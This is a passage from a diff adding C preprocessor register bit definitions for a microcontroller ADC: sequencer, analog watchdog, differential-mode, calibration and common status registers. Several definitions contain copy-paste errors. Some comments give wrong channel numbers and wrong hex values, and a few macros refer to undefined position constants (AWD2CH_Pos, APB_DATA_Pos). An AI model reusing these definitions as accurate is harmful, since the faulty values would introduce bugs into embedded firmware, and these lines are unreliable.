ADC_CHSELR_CHSEL17_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_CHSEL17 ADC_CHSELR_CHSEL17_Msk /*!< ADC group regular sequencer channel 17, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL18_Pos (18UL) +#define ADC_CHSELR_CHSEL18_Msk (0x1UL << ADC_CHSELR_CHSEL18_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL18 ADC_CHSELR_CHSEL18_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL19_Pos (19UL) +#define ADC_CHSELR_CHSEL19_Msk (0x1UL << ADC_CHSELR_CHSEL19_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL19 ADC_CHSELR_CHSEL19_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL20_Pos (20UL) +#define ADC_CHSELR_CHSEL20_Msk (0x1UL << ADC_CHSELR_CHSEL20_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL20 ADC_CHSELR_CHSEL20_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL21_Pos (21UL) +#define ADC_CHSELR_CHSEL21_Msk (0x1UL << ADC_CHSELR_CHSEL21_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL21 ADC_CHSELR_CHSEL21_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL22_Pos (22UL) +#define ADC_CHSELR_CHSEL22_Msk (0x1UL << ADC_CHSELR_CHSEL22_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL22 ADC_CHSELR_CHSEL22_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL23_Pos (23UL) +#define ADC_CHSELR_CHSEL23_Msk (0x1UL << ADC_CHSELR_CHSEL23_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL23 ADC_CHSELR_CHSEL23_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_SQ_ALL_Pos (0UL) +#define ADC_CHSELR_SQ_ALL_Msk (0xFFFFFFFFUL << ADC_CHSELR_SQ_ALL_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CHSELR_SQ_ALL ADC_CHSELR_SQ_ALL_Msk /*!< ADC group regular sequencer all ranks, available when ADC_CFGR1_CHSELRMOD is set */ + +#define ADC_CHSELR_SQ1_Pos (0UL) +#define ADC_CHSELR_SQ1_Msk (0xFUL << ADC_CHSELR_SQ1_Pos) /*!< 0x0000000F */ +#define ADC_CHSELR_SQ1 ADC_CHSELR_SQ1_Msk /*!< ADC group regular sequencer rank 1, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ1_0 (0x1UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_SQ1_1 (0x2UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_SQ1_2 (0x4UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_SQ1_3 (0x8UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000008 */ + +#define ADC_CHSELR_SQ2_Pos (4UL) +#define ADC_CHSELR_SQ2_Msk (0xFUL << ADC_CHSELR_SQ2_Pos) /*!< 0x000000F0 */ +#define ADC_CHSELR_SQ2 ADC_CHSELR_SQ2_Msk /*!< ADC group regular sequencer rank 2, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ2_0 (0x1UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_SQ2_1 (0x2UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_SQ2_2 (0x4UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_SQ2_3 (0x8UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000080 */ + +#define ADC_CHSELR_SQ3_Pos (8UL) +#define ADC_CHSELR_SQ3_Msk (0xFUL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000F00 */ +#define ADC_CHSELR_SQ3 ADC_CHSELR_SQ3_Msk /*!< ADC group regular sequencer rank 3, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ3_0 (0x1UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_SQ3_1 (0x2UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_SQ3_2 (0x4UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_SQ3_3 (0x8UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000800 */ + +#define ADC_CHSELR_SQ4_Pos (12UL) +#define ADC_CHSELR_SQ4_Msk (0xFUL << ADC_CHSELR_SQ4_Pos) /*!< 0x0000F000 */ +#define ADC_CHSELR_SQ4 ADC_CHSELR_SQ4_Msk /*!< ADC group regular sequencer rank 4, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ4_0 (0x1UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_SQ4_1 (0x2UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_SQ4_2 (0x4UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_SQ4_3 (0x8UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00008000 */ + +#define ADC_CHSELR_SQ5_Pos (16UL) +#define ADC_CHSELR_SQ5_Msk (0xFUL << ADC_CHSELR_SQ5_Pos) /*!< 0x000F0000 */ +#define ADC_CHSELR_SQ5 ADC_CHSELR_SQ5_Msk /*!< ADC group regular sequencer rank 5, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ5_0 (0x1UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_SQ5_1 (0x2UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_SQ5_2 (0x4UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_SQ5_3 (0x8UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00080000 */ + +#define ADC_CHSELR_SQ6_Pos (20UL) +#define ADC_CHSELR_SQ6_Msk (0xFUL << ADC_CHSELR_SQ6_Pos) /*!< 0x00F00000 */ +#define ADC_CHSELR_SQ6 ADC_CHSELR_SQ6_Msk /*!< ADC group regular sequencer rank 6, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ6_0 (0x1UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00100000 */ +#define ADC_CHSELR_SQ6_1 (0x2UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00200000 */ +#define ADC_CHSELR_SQ6_2 (0x4UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00400000 */ +#define ADC_CHSELR_SQ6_3 (0x8UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00800000 */ + +#define ADC_CHSELR_SQ7_Pos (24UL) +#define ADC_CHSELR_SQ7_Msk (0xFUL << ADC_CHSELR_SQ7_Pos) /*!< 0x0F000000 */ +#define ADC_CHSELR_SQ7 ADC_CHSELR_SQ7_Msk /*!< ADC group regular sequencer rank 7, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ7_0 (0x1UL << ADC_CHSELR_SQ7_Pos) /*!< 0x01000000 */ +#define ADC_CHSELR_SQ7_1 (0x2UL << ADC_CHSELR_SQ7_Pos) /*!< 0x02000000 */ +#define ADC_CHSELR_SQ7_2 (0x4UL << ADC_CHSELR_SQ7_Pos) /*!< 0x04000000 */ +#define ADC_CHSELR_SQ7_3 (0x8UL << ADC_CHSELR_SQ7_Pos) /*!< 0x08000000 */ + +#define ADC_CHSELR_SQ8_Pos (28UL) +#define ADC_CHSELR_SQ8_Msk (0xFUL << ADC_CHSELR_SQ8_Pos) /*!< 0xF0000000 */ +#define ADC_CHSELR_SQ8 ADC_CHSELR_SQ8_Msk /*!< ADC group regular sequencer rank 8, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ8_0 (0x1UL << ADC_CHSELR_SQ8_Pos) /*!< 0x10000000 */ +#define ADC_CHSELR_SQ8_1 (0x2UL << ADC_CHSELR_SQ8_Pos) /*!< 0x20000000 */ +#define ADC_CHSELR_SQ8_2 (0x4UL << ADC_CHSELR_SQ8_Pos) /*!< 0x40000000 */ +#define ADC_CHSELR_SQ8_3 (0x8UL << ADC_CHSELR_SQ8_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD3TR register *******************/ +#define ADC_AWD3TR_LT3_Pos (0UL) +#define ADC_AWD3TR_LT3_Msk (0xFFFUL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000FFF */ +#define ADC_AWD3TR_LT3 ADC_AWD3TR_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ +#define ADC_AWD3TR_LT3_0 (0x001UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000001 */ +#define ADC_AWD3TR_LT3_1 (0x002UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000002 */ +#define ADC_AWD3TR_LT3_2 (0x004UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000004 */ +#define ADC_AWD3TR_LT3_3 (0x008UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000008 */ +#define ADC_AWD3TR_LT3_4 (0x010UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000010 */ +#define ADC_AWD3TR_LT3_5 (0x020UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000020 */ +#define ADC_AWD3TR_LT3_6 (0x040UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000040 */ +#define ADC_AWD3TR_LT3_7 (0x080UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000080 */ +#define ADC_AWD3TR_LT3_8 (0x100UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000100 */ +#define ADC_AWD3TR_LT3_9 (0x200UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000200 */ +#define ADC_AWD3TR_LT3_10 (0x400UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000400 */ +#define ADC_AWD3TR_LT3_11 (0x800UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000800 */ + +#define ADC_AWD3TR_HT3_Pos (16UL) +#define ADC_AWD3TR_HT3_Msk (0xFFFUL << ADC_AWD3TR_HT3_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD3TR_HT3 ADC_AWD3TR_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ +#define ADC_AWD3TR_HT3_0 (0x001UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00010000 */ +#define ADC_AWD3TR_HT3_1 (0x002UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00020000 */ +#define ADC_AWD3TR_HT3_2 (0x004UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00040000 */ +#define ADC_AWD3TR_HT3_3 (0x008UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00080000 */ +#define ADC_AWD3TR_HT3_4 (0x010UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00100000 */ +#define ADC_AWD3TR_HT3_5 (0x020UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00200000 */ +#define ADC_AWD3TR_HT3_6 (0x040UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00400000 */ +#define ADC_AWD3TR_HT3_7 (0x080UL << ADC_AWD3TR_HT3_Pos) /*!< 0x00800000 */ +#define ADC_AWD3TR_HT3_8 (0x100UL << ADC_AWD3TR_HT3_Pos) /*!< 0x01000000 */ +#define ADC_AWD3TR_HT3_9 (0x200UL << ADC_AWD3TR_HT3_Pos) /*!< 0x02000000 */ +#define ADC_AWD3TR_HT3_10 (0x400UL << ADC_AWD3TR_HT3_Pos) /*!< 0x04000000 */ +#define ADC_AWD3TR_HT3_11 (0x800UL << ADC_AWD3TR_HT3_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWD3CR register ********************/ +#define ADC_AWD3CR_AWD3CH_Pos (0UL) +#define ADC_AWD3CR_AWD3CH_Msk (0xFFFFFFUL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD3CR_AWD3CH_0 (0x00001UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD3CR_AWD3CH_1 (0x00002UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD3CR_AWD3CH_2 (0x00004UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD3CR_AWD3CH_3 (0x00008UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD3CR_AWD3CH_4 (0x00010UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD3CR_AWD3CH_5 (0x00020UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD3CR_AWD3CH_6 (0x00040UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD3CR_AWD3CH_7 (0x00080UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD3CR_AWD3CH_8 (0x00100UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD3CR_AWD3CH_9 (0x00200UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD3CR_AWD3CH_10 (0x00400UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD3CR_AWD3CH_11 (0x00800UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD3CR_AWD3CH_12 (0x01000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD3CR_AWD3CH_13 (0x02000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD3CR_AWD3CH_14 (0x04000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD3CR_AWD3CH_15 (0x08000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD3CR_AWD3CH_16 (0x10000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD3CR_AWD3CH_17 (0x20000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD3CR_AWD3CH_18 (0x40000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD3CR_AWD3CH_19 (0x80000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD3CR_AWD2CH_20 (0x100000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD3CR_AWD2CH_21 (0x200000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD3CR_AWD2CH_22 (0x400000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD3CR_AWD2CH_23 (0x800000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_DIFSEL register ********************/ +#define ADC_DIFSEL_DIFSEL_Pos (0UL) +#define ADC_DIFSEL_DIFSEL_Msk (0xFFFFFUL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC differential modes for channels 1 to 18 */ +#define ADC_DIFSEL_DIFSEL_0 (0x00001UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ +#define ADC_DIFSEL_DIFSEL_1 (0x00002UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ +#define ADC_DIFSEL_DIFSEL_2 (0x00004UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ +#define ADC_DIFSEL_DIFSEL_3 (0x00008UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ +#define ADC_DIFSEL_DIFSEL_4 (0x00010UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ +#define ADC_DIFSEL_DIFSEL_5 (0x00020UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ +#define ADC_DIFSEL_DIFSEL_6 (0x00040UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ +#define ADC_DIFSEL_DIFSEL_7 (0x00080UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ +#define ADC_DIFSEL_DIFSEL_8 (0x00100UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ +#define ADC_DIFSEL_DIFSEL_9 (0x00200UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ +#define ADC_DIFSEL_DIFSEL_10 (0x00400UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ +#define ADC_DIFSEL_DIFSEL_11 (0x00800UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ +#define ADC_DIFSEL_DIFSEL_12 (0x01000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ +#define ADC_DIFSEL_DIFSEL_13 (0x02000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ +#define ADC_DIFSEL_DIFSEL_14 (0x04000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ +#define ADC_DIFSEL_DIFSEL_15 (0x08000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ +#define ADC_DIFSEL_DIFSEL_16 (0x10000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ +#define ADC_DIFSEL_DIFSEL_17 (0x20000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ +#define ADC_DIFSEL_DIFSEL_18 (0x40000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ +#define ADC_DIFSEL_DIFSEL_19 (0x80000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_CALFACT register ********************/ +#define ADC_CALFACT_I_APB_ADDR_Pos (0UL) +#define ADC_CALFACT_I_APB_ADDR_Msk (0xFFUL << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x000000FF */ +#define ADC_CALFACT_I_APB_ADDR ADC_CALFACT_I_APB_ADDR_Msk /*!< ADC calibration factors in single-ended mode */ +#define ADC_CALFACT_I_APB_ADDR_0 (0x001U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT_I_APB_ADDR_1 (0x002U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT_I_APB_ADDR_2 (0x004U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT_I_APB_ADDR_3 (0x008U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT_I_APB_ADDR_4 (0x010U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT_I_APB_ADDR_5 (0x020U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT_I_APB_ADDR_6 (0x040U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT_I_APB_ADDR_7 (0x080U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000080 */ + +#define ADC_CALFACT_I_APB_DATA_Pos (08UL) +#define ADC_CALFACT_I_APB_DATA_Msk (0xFFUL << ADC_CALFACT_I_APB_DATA_Pos) /*!< 0x0000FF00 */ +#define ADC_CALFACT_I_APB_DATA ADC_CALFACT_I_APB_DATA_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_APB_DATA_0 (0x001U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT_APB_DATA_1 (0x002U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT_APB_DATA_2 (0x004U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT_APB_DATA_3 (0x008U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT_APB_DATA_4 (0x010U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT_APB_DATA_5 (0x020U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT_APB_DATA_6 (0x040U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT_APB_DATA_7 (0x080U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00008000 */ + +#define ADC_CALFACT_VALIDITY_Pos (16UL) +#define ADC_CALFACT_VALIDITY_Msk (0x1UL << ADC_CALFACT_VALIDITY_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT_VALIDITY ADC_CALFACT_VALIDITY_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_LATCH_COEF_Pos (24UL) +#define ADC_CALFACT_LATCH_COEF_Msk (0x1UL << ADC_CALFACT_LATCH_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_LATCH_COEF ADC_CALFACT_LATCH_COEF_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_CAPTURE_COEF_Pos (25UL) +#define ADC_CALFACT_CAPTURE_COEF_Msk (0x1UL << ADC_CALFACT_CAPTURE_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_CAPTURE_COEF ADC_CALFACT_CAPTURE_COEF_Msk /*!< ADC calibration factors in differential mode */ + +#define ADC4_CALFACT_CALFACT_Pos (0UL) +#define ADC4_CALFACT_CALFACT_Msk (0x7FUL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x0000007F */ +#define ADC4_CALFACT_CALFACT ADC4_CALFACT_CALFACT_Msk /*!< ADC calibration factor in single-ended mode */ +#define ADC4_CALFACT_CALFACT_0 (0x01UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC4_CALFACT_CALFACT_1 (0x02UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC4_CALFACT_CALFACT_2 (0x04UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC4_CALFACT_CALFACT_3 (0x08UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC4_CALFACT_CALFACT_4 (0x10UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC4_CALFACT_CALFACT_5 (0x20UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC4_CALFACT_CALFACT_6 (0x40UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000040 */ + +/******************** Bit definition for ADC_CALFACT2 register ********************/ +#define ADC_CALFACT2_CALFACT_Pos (0UL) +#define ADC_CALFACT2_CALFACT_Msk (0xFFFFFFFFUL << ADC_CALFACT2_CALFACT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CALFACT2_CALFACT ADC_CALFACT2_CALFACT_Msk /*!< ADC Linearity calibration factors */ +#define ADC_CALFACT2_CALFACT_0 (0x00000001UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT2_CALFACT_1 (0x00000002UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT2_CALFACT_2 (0x00000004UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT2_CALFACT_3 (0x00000008UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT2_CALFACT_4 (0x00000010UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT2_CALFACT_5 (0x00000020UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT2_CALFACT_6 (0x00000040UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT2_CALFACT_7 (0x00000080UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000080 */ +#define ADC_CALFACT2_CALFACT_8 (0x00000100UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT2_CALFACT_9 (0x00000200UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT2_CALFACT_10 (0x00000400UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT2_CALFACT_11 (0x00000800UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT2_CALFACT_12 (0x00001000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT2_CALFACT_13 (0x00002000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT2_CALFACT_14 (0x00004000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT2_CALFACT_15 (0x00008000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00008000 */ +#define ADC_CALFACT2_CALFACT_16 (0x00010000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT2_CALFACT_17 (0x00020000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00020000 */ +#define ADC_CALFACT2_CALFACT_18 (0x00040000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00040000 */ +#define ADC_CALFACT2_CALFACT_19 (0x00080000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00080000 */ +#define ADC_CALFACT2_CALFACT_20 (0x00100000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00100000 */ +#define ADC_CALFACT2_CALFACT_21 (0x00200000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00200000 */ +#define ADC_CALFACT2_CALFACT_22 (0x00400000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00400000 */ +#define ADC_CALFACT2_CALFACT_23 (0x00800000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00800000 */ +#define ADC_CALFACT2_CALFACT_24 (0x01000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT2_CALFACT_25 (0x02000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x02000000 */ +#define ADC_CALFACT2_CALFACT_26 (0x04000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x04000000 */ +#define ADC_CALFACT2_CALFACT_27 (0x08000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x08000000 */ +#define ADC_CALFACT2_CALFACT_28 (0x10000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x10000000 */ +#define ADC_CALFACT2_CALFACT_29 (0x20000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x20000000 */ +#define ADC_CALFACT2_CALFACT_30 (0x40000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x40000000 */ +#define ADC_CALFACT2_CALFACT_31 (0x80000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OR register ********************/ +#define ADC_OR_CHN0SEL_Pos (0UL) +#define ADC_OR_CHN0SEL_Msk (0x1UL << ADC_OR_CHN0SEL_Pos) /*!< 0x00000001 */ +#define ADC_OR_CHN0SEL ADC_OR_CHN0SEL_Msk /*!< ADC Channel 0 selection */ + +/************************* ADC Common registers *****************************/ +/******************** Bit definition for ADC_CSR register ********************/ +#define ADC_CSR_ADRDY_MST_Pos (0UL) +#define ADC_CSR_ADRDY_MST_Msk (0x1UL << ADC_CSR_ADRDY_MST_Pos) /*!< 0x00000001 */ +#define ADC_CSR_ADRDY_MST ADC_CSR_ADRDY_MST_Msk /*!< Master ADC ready */ +#define ADC_CSR_EOSMP_MST_Pos (1UL) +#define ADC_CSR_EOSMP_MST_Msk (0x1UL << ADC_CSR_EOSMP_MST_Pos) /*!< 0x00000002 */ +#define ADC_CSR_EOSMP_MST ADC_CSR_EOSMP_MST_Msk /*!< End of sampling phase flag of the master ADC */ +#define ADC_CSR_EOC_MST_Pos (2UL) +#define ADC_CSR_EOC_MST_Msk (0x1UL << ADC_CSR_EOC_MST_Pos) /*!< 0x00000004 */ +#define ADC_CSR_EOC_MST ADC_CSR_EOC_MST_Msk /*!< End of regular conversion of 